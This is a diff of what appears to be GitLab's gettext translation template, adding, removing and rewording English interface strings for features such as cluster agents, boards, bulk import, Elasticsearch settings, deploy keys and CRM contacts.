+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
